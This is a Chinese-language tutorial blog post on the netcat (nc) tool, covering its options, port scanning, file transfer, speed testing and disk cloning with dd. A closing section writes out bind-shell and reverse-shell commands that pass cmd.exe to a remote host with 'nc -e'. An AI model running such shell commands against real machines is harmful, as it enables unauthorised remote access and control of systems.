支持IPV6的瑞士×××之nc命令------強大的網絡命令工具

nc工具使用

功能說明:

功能強大的網絡工具,在網絡工具中有“瑞士×××”美譽,其有Windows和Linux的版本。因爲它短小精悍,功能實用,被設計爲一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。同時,它還是一個網絡應用Debug分析器,因爲它可以根據需要創建各種不同類型的網絡連接。


nc的作用:

(1)實現任意TCP/UDP端口的偵聽,nc可以作爲server以TCP或UDP方式偵聽指定端口

(2)端口的掃描,nc可以作爲client發起TCP或UDP連接

(3)傳輸文件

(4)網絡測速

(5)克隆硬盤或分區

(6)反彈服務器shell


nc的常用的幾個參數如下所列:

1)-4      

強制nc只能使用IPv4地址。

2)-6      

強制nc只能使用IPv6地址。

3) -l

用於指定nc將處於偵聽模式。指定該參數,則意味着nc被當作server,偵聽並接受連接,而非向其它地址發起連接。

4) -p <port>

暫未用到(老版本的nc可能需要在端口號前加-p參數,下面測試環境是centos6.6,nc版本是nc-1.84,未用到-p參數)

5) -s

指定發送數據的源IP地址,適用於多網卡機

6) -u

 指定nc使用UDP協議,默認爲TCP

7) -v

輸出交互或出錯信息,新手調試時尤爲有用

8)-w

超時秒數,後面跟數字

9)-z

表示zero,表示掃描時不發送任何數據

10)  -D      

在socket上開啓debugging功能

11) -d      

不從標準輸入中讀取任何消息

12) -h      

幫助選項

13)-i  interval      

在文本行之間的發送或接受,指定一個延遲時間間隔。 也會產生多個端口間的連接有延遲時間。

14) -k      

強制nc保持監聽其他連接,在它當前的連接完成之後。 如果不和-l選項一起使用,會有錯誤。

15) -n      

不使用DNS或者服務不做任何地址,主機名或者端口的查詢

16) -r      

指定源 和/或 目的端口是隨機選擇的,而不是系統按照一個範圍或者順序分配的。

17) -S     

開啓RFC 2385 TCP MD5簽名選項。

18) -T ToS  

爲連接指定IP的服務類型(ToS)。有效的值是令牌“lowdelay”, “throughput”, “reliability”, 或者以“0x”開頭的8位的十六進制值。

19) -C      

發送CRLF做爲行尾符

20) -t      

讓nc發送RFC 854 不要和將不要響應RFC 854要或者將要的請求。這使得nc可以腳本化telnet會話過程。

21) -U      

使用Unix Domain Sockets

22) -X proxy_version       

與代理服務器交互時的請求,nc必須使用指定的協議。支持的協議是“4” (SOCKS v.4), “5” (SOCKS v.5)和“connect” (HTTPS proxy)。 如果協議不指定,SOCKS版本5將被使用。

23) -x proxy_address[:port]       

請求時,nc必須連接一個使用代理地址和端口的代理做爲主機名。如果端口沒有被指定,那麼衆所周知的端口將爲代理協議所使用(1080 for SOCKS, 3128 for HTTPS)

主機名可以是IP地址或者字符的主機名(除非使用了-n選項)。通常一個主機名必須被指定的(沒有指定主機名的都會使用localhost),除非使用了-l選項

端口可以是單獨一個整數或者一個範圍。 範圍是nn-mm這種格式。通常一個目的端口必須被指定,除非使用了-U選項(這種情況下是指定了socket了)


nc的用法介紹

IPV6的使用舉例:

udp

企業微信截圖_15439223234558.png

企業微信截圖_15439223352054.png

後邊的%eth0必須加,不然數據無法得知出去的網卡線路

tcp

微信截圖_20181205110040.png

微信截圖_20181205110053.png

IPV4的使用舉例:


tcp監聽

nc可以作爲server端啓動一個tcp的監聽,默認情況下下面監聽的是一個tcp的端口

nc -l -p 9999

 

客戶端測試

1、在B機器上telnet A機器此端口,如下顯示錶示B機器可以訪問A機器此端口

telnet 10.0.1.161 9999

2、B機器上也可以使用nmap掃描A機器的此端口

nmap 10.0.1.161 -p9999

3、使用nc命令作爲客戶端工具進行端口探測

nc -vz -w 2 10.0.1.161 9999

(-v可視化,-z掃描時不發送數據,-w超時幾秒,後面跟數字)

服務端會自動關閉監聽。

4、nc可以掃描連續端口,這個作用非常重要。常常可以用來掃描服務器端口,然後給服務器安全加固

在客戶端B機器上掃描連續的兩個端口,如下

nc -vzw 2 10.0.1.161 9998-9999

 

udp監聽

nc作爲server端啓動一個udp的監聽(注意,此處重點是起udp,上面主要講了tcp)

啓動一個udp的端口監聽

nc -ul -p 9998

 

複製當前窗口輸入 netstat -antup |grep 9998 可以看到是啓動了udp的監聽

 

測試方法

1、 

nc -vuz 10.0.1.161 9998

(u表示udp端口,v表示可視化輸出,z表示掃描時不發送數據)

由於udp的端口無法在客戶端使用telnet去測試,我們可以使用nc命令去掃描。

(telnet是運行於tcp協議的)

上面在B機器掃描此端口的時候,看到A機器下面出現一串XXXXX字符串(我測試時出現兩個a)

2、

nmap -sU 10.0.1.161 -p 9998

-sU :表示udp端口的掃描

注意:如果A機器開啓了防火牆,掃描結果可能會是下面狀態。(不能確定對方是否有監聽9998端口)

nmap -sU 10.0.1.161 -p 9998 -Pn

既然上面測試無法使用nmap掃描nc作爲服務端啓動的端口,我們可以使用nmap掃描其餘的端口

(額,有點跑題了,講nmap的用法了,沒關係,主要爲了說明nmap是也可以用來掃描udp端口的,只是掃描nc啓動的端口會導致對方退出端口監聽)

下面,A機器上rpcbind服務,監聽在udp的111端口

netstat -anup | grep 111

 

在B機器上使用nmap掃描此端口,是正常的檢測到處於open狀態

 

udp端口掃描

掃描過程比較慢,可能是1秒掃描一個端口,下面表示掃描A機器的1到1000端口(暫未發現可以在一行命令中掃描分散的幾個端口的方法)

nc -vuz 10.0.1.161 1-1000

 

 

用法2、 使用nc傳輸文件和目錄

 

方法1,先啓動接收命令

使用nc傳輸文件還是比較方便的,因爲不用scp和rsync那種輸入密碼的操作了

把A機器上的一個rpm文件發送到B機器上

需注意操作次序,receiver先偵聽端口,sender向receiver所在機器的該端口發送數據。 

 

步驟1,先在B機器上啓動一個接收文件的監聽,格式如下

意思是把賴在9995端口接收到的數據都寫到file文件裏(這裏文件名隨意取)

格式:nc -l port >file

nc -l -p 9995 >zabbix.rpm

步驟2,在A機器上往B機器的9995端口發送數據,把下面rpm包發送過去

nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm

方法2,先啓動發送命令

步驟1,先在B機器上,啓動發送文件命令

下面命令表示通過本地的×××端口發送test.mv文件

nc -l -p ××× <test.mv

步驟2,A機器上連接B機器,取接收文件

下面命令表示通過連接B機器的×××端口接收文件,並把文件存到本目錄下,文件名爲test2.mv

nc 10.0.1.162 ××× >test2.mv

 

方法3,傳輸目錄演示(方法發送文件類似)

 

步驟1,B機器先啓動監聽,如下

A機器給B機器發送多個文件

傳輸目錄需要結合其它的命令,比如tar

經過我的測試管道後面最後必須是 - ,不能是其餘自定義的文件名

nc -l -p 9995 | tar xzvf -

 

步驟2,A機器打包文件並連接B機器的端口

管道前面表示把當前目錄的所有文件打包爲 - ,然後使用nc發送給B機器

tar cfz - * | nc 10.0.1.162 9995或者 tar czvf – nginx-0.6.34|nc 192.168.228.222 1234

B機器這邊已經自動接收和解壓

 

方法4,拼接命令傳輸

 

使用nc進行文件傳輸,命令

ssh [email protected] “( nc -l 10003 > destination 2>/dev/null & )” && cat source | nc www.freetstar.com 10003

&& 前邊ssh登錄到遠程主機www.freetstar.com上,用nc命令打開本地的10003端口,成爲後臺進程

&&後邊,在本地機器上打開source文件,並將其重定向到www.freetstar.com的10003號端口,也就是讓遠程www.freetstar.com主機10003號端口接收source文件

 

 

 

用法3、 測試網速

測試網速其實利用了傳輸文件的原理,就是把來自一臺機器的/dev/zero 發送給另一臺機器的/dev/null

就是把一臺機器的無限個0,傳輸給另一個機器的空設備上,然後新開一個窗口使用dstat命令監測網速

在這之前需要保證機器先安裝dstat工具

yum install -y dstat

 

方法1,測試網速演示(先啓動接收命令方式)

步驟1,A機器先啓動接收數據的命令,監聽自己的9991端口,把來自這個端口的數據都輸出給空設備(這樣不寫磁盤,測試網速更準確)

nc -l 9991 >/dev/null

步驟2,B機器發送數據,把無限個0發送給A機器的9991端口

nc 10.0.1.161 9991 </dev/zero

在複製的窗口上使用dstat命令查看當前網速,dstat命令比較直觀,它可以查看當前cpu,磁盤,網絡,內存頁和系統的一些當前狀態指標。

我們只需要看下面我選中的這2列即可,recv是receive的縮寫,表示接收的意思,send是發送數據,另外注意數字後面的單位B,KB,MB

 

方法2,測試網速演示(先啓動發送命令方式)

步驟1,先啓動發送的數據,誰連接這個端口時就會接收來自zero設備的數據(二進制的無限個0)

nc -l 9990 </dev/zero

步驟2,下面B機器連接A機器的9990端口,把接收的數據輸出到空設備上

nc 10.0.1.161 9990 >/dev/null

同樣可以使用dstat觀察數據發送時的網速

 

 

用法4、 克隆硬盤或分區

 

操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區的數據,然後傳輸即可。

克隆硬盤或分區的操作,不應在已經mount的的系統上進行。所以,需要使用安裝光盤引導後,進入拯救模式(或使用Knoppix工 具光盤)啓動系統後,在server2上進行類似的監聽動作:

# nc -l -p 1234 | dd of=/dev/sda

server1上執行傳輸,即可完成從server1克隆sda硬盤到server2的任務:

# dd if=/dev/sda | nc 192.168.228.222 1234

※ 完成上述工作的前提,是需要落實光盤的拯救模式支持服務器上的網卡,並正確配置IP。

 

用法5、 反彈服務器shell

 

方法1、REMOTE主機綁定SHELL

在公網監聽

nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe

在內網主動建立連接

nc -nvv 192.168.153.138 5555

-t是通過telne模式執行 cmd.exe 程序,可以省略。

講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口

 

 

方法2、REMOTE主機綁定SHELL並反向連接

在公網監聽

nc -lp 5555

在內網機器反彈

nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354或者
nc -t -e cmd 192.168.153.140 5555

講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口

以上爲最基本的幾種用法(其實NC的用法還有很多,

當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......)。





發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章